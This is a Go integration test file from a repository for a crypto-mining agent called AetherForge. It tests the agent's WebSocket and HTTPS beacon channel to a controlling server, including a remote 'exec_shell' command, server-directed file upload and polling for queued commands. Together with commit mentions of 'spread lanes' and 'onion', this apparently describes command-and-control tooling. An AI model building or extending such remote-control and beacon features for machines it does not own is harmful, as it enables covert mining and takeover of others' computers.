Files
AetherForge/agent/client/ws_beacon_integration_test.go
AetherForge 7b2d41cda8
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling
2026-06-07 04:58:55 -07:00

451 lines
13 KiB
Go

package client
import (
"encoding/base64"
"encoding/json"
"errors"
"net"
"net/http"
"net/http/httptest"
"strings"
"sync"
"testing"
"time"
"crypto-miner-agent/config"
"crypto-miner-agent/miner"
"crypto-miner-agent/stats"
"github.com/gorilla/websocket"
)
var wsTestUpgrader = websocket.Upgrader{CheckOrigin: func(*http.Request) bool { return true }}
type wsIntegrationPair struct {
agentConn *websocket.Conn
serverConn *websocket.Conn
closeServer func()
}
func newWSIntegrationPair(t *testing.T) wsIntegrationPair {
t.Helper()
ready := make(chan *websocket.Conn, 1)
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
conn, err := wsTestUpgrader.Upgrade(w, r, nil)
if err != nil {
t.Errorf("upgrade: %v", err)
return
}
ready <- conn
<-r.Context().Done()
}))
t.Cleanup(srv.Close)
wsURL := "ws" + strings.TrimPrefix(srv.URL, "http")
agentConn, _, err := websocket.DefaultDialer.Dial(wsURL, nil)
if err != nil {
t.Fatalf("dial: %v", err)
}
t.Cleanup(func() { _ = agentConn.Close() })
var serverConn *websocket.Conn
select {
case serverConn = <-ready:
case <-time.After(2 * time.Second):
t.Fatal("timed out waiting for server-side WS handshake")
}
return wsIntegrationPair{
agentConn: agentConn,
serverConn: serverConn,
closeServer: func() { srv.Close() },
}
}
func wireConnectedClient(t *testing.T) (*AgentClient, wsIntegrationPair) {
t.Helper()
stubFastMiningDiagnostics(t)
c := newTestClient(t)
c.agentID = "ws-integration-agent"
c.connected.Store(true)
pair := newWSIntegrationPair(t)
c.conn = pair.agentConn
return c, pair
}
func stubFastMiningDiagnostics(t *testing.T) {
t.Helper()
miner.SetRuntimeDetector(func() miner.ContainerRuntimeInfo { return miner.ContainerRuntimeInfo{} })
miner.SetWSLDetector(func() miner.WSLRuntimeInfo { return miner.WSLRuntimeInfo{} })
SetPostureCollector(func() *PostureReport { return nil })
t.Cleanup(func() {
miner.SetRuntimeDetector(nil)
miner.SetWSLDetector(nil)
SetPostureCollector(nil)
})
}
func readServerMessage(t *testing.T, conn *websocket.Conn, wantType string, timeout time.Duration) Message {
t.Helper()
deadline := time.Now().Add(timeout)
for time.Now().Before(deadline) {
_ = conn.SetReadDeadline(time.Now().Add(200 * time.Millisecond))
var msg Message
if err := conn.ReadJSON(&msg); err != nil {
if websocket.IsCloseError(err, websocket.CloseNormalClosure, websocket.CloseGoingAway) {
t.Fatalf("websocket closed before %s: %v", wantType, err)
}
if netErr, ok := err.(net.Error); ok && netErr.Timeout() {
continue
}
t.Fatalf("read while waiting for %s: %v", wantType, err)
}
if msg.Type == wantType {
return msg
}
}
t.Fatalf("timed out waiting for %s", wantType)
return Message{}
}
func pollServerMessage(conn *websocket.Conn, wantType string, timeout time.Duration) (Message, error) {
deadline := time.Now().Add(timeout)
for time.Now().Before(deadline) {
_ = conn.SetReadDeadline(time.Now().Add(200 * time.Millisecond))
var msg Message
if err := conn.ReadJSON(&msg); err != nil {
if websocket.IsCloseError(err, websocket.CloseNormalClosure, websocket.CloseGoingAway, websocket.CloseAbnormalClosure) {
return Message{}, err
}
var netErr net.Error
if errors.As(err, &netErr) && netErr.Timeout() {
continue
}
// Gorilla marks the conn failed after non-timeout errors — never retry.
return Message{}, err
}
if msg.Type == wantType {
return msg, nil
}
}
return Message{}, errPollTimeout(wantType)
}
type pollTimeoutError string
func (e pollTimeoutError) Error() string { return "timeout waiting for " + string(e) }
func errPollTimeout(wantType string) error { return pollTimeoutError(wantType) }
func TestWSWriteStatsRoundTrip(t *testing.T) {
c, pair := wireConnectedClient(t)
payload, _ := json.Marshal(map[string]string{"probe": "ok"})
if err := c.write(Message{Type: "stats", Payload: payload}); err != nil {
t.Fatalf("write stats: %v", err)
}
msg, err := pollServerMessage(pair.serverConn, "stats", 2*time.Second)
if err != nil {
t.Fatalf("read stats: %v", err)
}
if msg.Type != "stats" {
t.Fatalf("type = %q", msg.Type)
}
}
func TestWSCommandResultWriteRoundTrip(t *testing.T) {
c, pair := wireConnectedClient(t)
payload, _ := json.Marshal(map[string]interface{}{
"action": "pause", "success": true, "message": "ok",
})
if err := c.write(Message{Type: "command_result", Payload: payload}); err != nil {
t.Fatalf("write command_result: %v", err)
}
msg, err := pollServerMessage(pair.serverConn, "command_result", 2*time.Second)
if err != nil {
t.Fatalf("poll: %v", err)
}
if msg.Type != "command_result" {
t.Fatalf("type = %q", msg.Type)
}
}
// TestWSBeaconIntegrationMiningDiagnosticsRoundTrip verifies a mining_diagnostics
// WS command produces a command_result frame on the wire.
func TestMiningDiagnosticsHandleCommandHook(t *testing.T) {
c := newTestClient(t)
stubFastMiningDiagnostics(t)
done := make(chan string, 1)
c.commandResultHook = func(a string, ok bool, _ string) { done <- a }
c.handleCommand("mining_diagnostics", 0, "", "", "", "")
select {
case a := <-done:
if a != "mining_diagnostics" {
t.Fatalf("action=%q", a)
}
case <-time.After(5 * time.Second):
t.Fatal("timeout waiting for mining_diagnostics hook")
}
}
func TestWSBeaconIntegrationMiningDiagnosticsRoundTrip(t *testing.T) {
c, pair := wireConnectedClient(t)
c.commandResultHook = func(action string, success bool, _ string) {
if action != "mining_diagnostics" || !success {
t.Errorf("unexpected hook action=%q success=%v", action, success)
return
}
payload, _ := json.Marshal(map[string]interface{}{
"action": action, "success": true, "message": `{"integration":"stub"}`,
})
if err := c.write(Message{Type: "command_result", Payload: payload}); err != nil {
t.Errorf("write command_result: %v", err)
}
}
c.handleCommand("mining_diagnostics", 0, "", "", "", "")
msg, err := pollServerMessage(pair.serverConn, "command_result", 3*time.Second)
if err != nil {
t.Fatalf("read command_result: %v", err)
}
var body map[string]interface{}
if err := json.Unmarshal(msg.Payload, &body); err != nil {
t.Fatalf("parse command_result: %v", err)
}
if body["action"] != "mining_diagnostics" {
t.Errorf("action = %v", body["action"])
}
if body["success"] != true {
t.Errorf("success = %v", body["success"])
}
}
// TestHandleMessageWSCommandMiningDiagnostics verifies handleMessage routes
// mining_diagnostics commands over a live WS conn.
func TestHandleMessageWSCommandMiningDiagnostics(t *testing.T) {
c, pair := wireConnectedClient(t)
payload, _ := json.Marshal(map[string]interface{}{"action": "mining_diagnostics"})
done := make(chan struct{})
c.commandResultHook = func(action string, success bool, _ string) {
if action != "mining_diagnostics" || !success {
return
}
out, _ := json.Marshal(map[string]interface{}{
"action": action, "success": true, "message": `{"integration":"stub"}`,
})
if err := c.write(Message{Type: "command_result", Payload: out}); err != nil {
t.Fatalf("write: %v", err)
}
close(done)
}
c.handleMessage(Message{Type: "command", Payload: payload})
select {
case <-done:
case <-time.After(5 * time.Second):
t.Fatal("timed out waiting for handleMessage mining_diagnostics hook")
}
msg, err := pollServerMessage(pair.serverConn, "command_result", 2*time.Second)
if err != nil {
t.Fatalf("read command_result: %v", err)
}
var body map[string]interface{}
if err := json.Unmarshal(msg.Payload, &body); err != nil {
t.Fatal(err)
}
if body["action"] != "mining_diagnostics" {
t.Fatalf("unexpected command_result: %+v", body)
}
}
// TestWSBeaconIntegrationExecShellRoundTrip verifies exec_shell command dispatch
// returns command_result over the WS transport (command may fail on host).
func TestWSBeaconIntegrationExecShellRoundTrip(t *testing.T) {
c, pair := wireConnectedClient(t)
c.handleAICommand("exec_shell", 0, "echo ws-beacon-integration", "", "")
msg, err := pollServerMessage(pair.serverConn, "command_result", 5*time.Second)
if err != nil {
t.Fatalf("read command_result: %v", err)
}
var body map[string]interface{}
if err := json.Unmarshal(msg.Payload, &body); err != nil {
t.Fatal(err)
}
if body["action"] != "exec_shell" {
t.Errorf("action = %v", body["action"])
}
if _, ok := body["success"].(bool); !ok {
t.Fatalf("success missing in %+v", body)
}
}
// TestWSBeaconIntegrationAISnapshotRequestFlow verifies ai_snapshot_request
// triggers an ai_snapshot reply on the WebSocket.
func TestWSBeaconIntegrationAISnapshotRequestFlow(t *testing.T) {
c, pair := wireConnectedClient(t)
c.cfg = config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{WorkerName: "ws-test-node"}}
c.pushAISnapshot(0)
msg, err := pollServerMessage(pair.serverConn, "ai_snapshot", 5*time.Second)
if err != nil {
t.Fatalf("read ai_snapshot: %v", err)
}
var snap map[string]interface{}
if err := json.Unmarshal(msg.Payload, &snap); err != nil {
t.Fatal(err)
}
for _, key := range []string{"agent_id", "agent_name", "mining_tiers", "capabilities"} {
if _, ok := snap[key]; !ok {
t.Errorf("ai_snapshot missing %q", key)
}
}
if snap["agent_name"] != "ws-test-node" {
t.Errorf("agent_name = %v", snap["agent_name"])
}
}
// TestWSBeaconIntegrationUploadCommandRoundTrip verifies upload commands travel
// over WS as command/command_result (base64 payload, no separate chunk frame).
func TestWSBeaconIntegrationUploadCommandRoundTrip(t *testing.T) {
dest := t.TempDir() + "/uploaded.txt"
data := base64.StdEncoding.EncodeToString([]byte("ws-upload-payload"))
c, pair := wireConnectedClient(t)
c.handleCommand("upload", 0, "", dest, data, "")
msg, err := pollServerMessage(pair.serverConn, "command_result", 3*time.Second)
if err != nil {
t.Fatalf("read command_result: %v", err)
}
var body map[string]interface{}
if err := json.Unmarshal(msg.Payload, &body); err != nil {
t.Fatal(err)
}
if body["action"] != "upload" {
t.Errorf("action = %v", body["action"])
}
if body["success"] != true {
t.Fatalf("upload failed: %v", body["message"])
}
}
// TestBeaconIntegrationHeartbeatLifecycle exercises beaconOnce against an
// httptest beacon endpoint with registration, stats, and queued commands.
func TestBeaconIntegrationHeartbeatLifecycle(t *testing.T) {
const secret = "agent-beacon-secret"
var mu sync.Mutex
beaconHits := 0
resultHits := 0
mux := http.NewServeMux()
mux.HandleFunc("/api/v1/agent/beacon", func(w http.ResponseWriter, r *http.Request) {
if r.Header.Get("X-Fleet-Secret") != secret {
http.Error(w, "forbidden", http.StatusForbidden)
return
}
var req map[string]interface{}
_ = json.NewDecoder(r.Body).Decode(&req)
mu.Lock()
beaconHits++
hits := beaconHits
mu.Unlock()
resp := map[string]interface{}{"ok": true, "commands": []any{}}
if hits == 2 {
resp["commands"] = []map[string]interface{}{{"action": "mining_diagnostics"}}
}
_ = json.NewEncoder(w).Encode(resp)
})
mux.HandleFunc("/api/v1/agent/beacon/result", func(w http.ResponseWriter, r *http.Request) {
if r.Header.Get("X-Fleet-Secret") != secret {
http.Error(w, "forbidden", http.StatusForbidden)
return
}
mu.Lock()
resultHits++
mu.Unlock()
_ = json.NewEncoder(w).Encode(map[string]bool{"ok": true})
})
srv := httptest.NewServer(mux)
t.Cleanup(srv.Close)
stubFastMiningDiagnostics(t)
c := newTestClient(t)
c.pool.Start()
t.Cleanup(func() { c.pool.Stop() })
c.reporter = stats.NewReporter()
c.agentID = "beacon-integration-agent"
c.cfg = config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{
ServerURL: srv.URL,
FleetSecret: secret,
HTTPSBeaconFallback: true,
HTTPSBeaconAfterMin: 0,
BeaconIntervalSec: 1,
},
}
if err := c.beaconOnce(srv.URL); err != nil {
t.Fatalf("first beaconOnce: %v", err)
}
if err := c.beaconOnce(srv.URL); err != nil {
t.Fatalf("second beaconOnce (with command): %v", err)
}
mu.Lock()
defer mu.Unlock()
if beaconHits < 2 {
t.Fatalf("beacon hits = %d, want >= 2", beaconHits)
}
if resultHits != 1 {
t.Fatalf("beacon result hits = %d, want 1", resultHits)
}
}
// TestWSBeaconIntegrationReconnectPreservesWorkerName verifies auth payload uses
// worker_name for registration while hostname tracks the machine label separately.
func TestWSBeaconIntegrationReconnectPreservesWorkerName(t *testing.T) {
payload := AuthPayload{
AgentID: "rename-agent",
Hostname: "DESKTOP-NEW",
Worker: "Living Room PC",
Version: "1.0",
}
raw, err := json.Marshal(payload)
if err != nil {
t.Fatal(err)
}
var decoded AuthPayload
if err := json.Unmarshal(raw, &decoded); err != nil {
t.Fatal(err)
}
if decoded.Worker != "Living Room PC" {
t.Fatalf("worker_name = %q", decoded.Worker)
}
if decoded.Hostname != "DESKTOP-NEW" {
t.Fatalf("hostname = %q", decoded.Hostname)
}
if decoded.Worker == decoded.Hostname {
t.Fatal("operator worker_name should differ from machine hostname in reconnect scenario")
}
}
// TestWSBeaconIntegrationDisconnectWriteFails verifies write returns error when
// the WS connection is nil (post-disconnect cleanup path).
func TestWSBeaconIntegrationDisconnectWriteFails(t *testing.T) {
c := newTestClient(t)
c.conn = nil
err := c.write(Message{Type: "stats", Payload: json.RawMessage("{}")})
if err == nil || !strings.Contains(err.Error(), "not connected") {
t.Fatalf("write with nil conn: err=%v", err)
}
}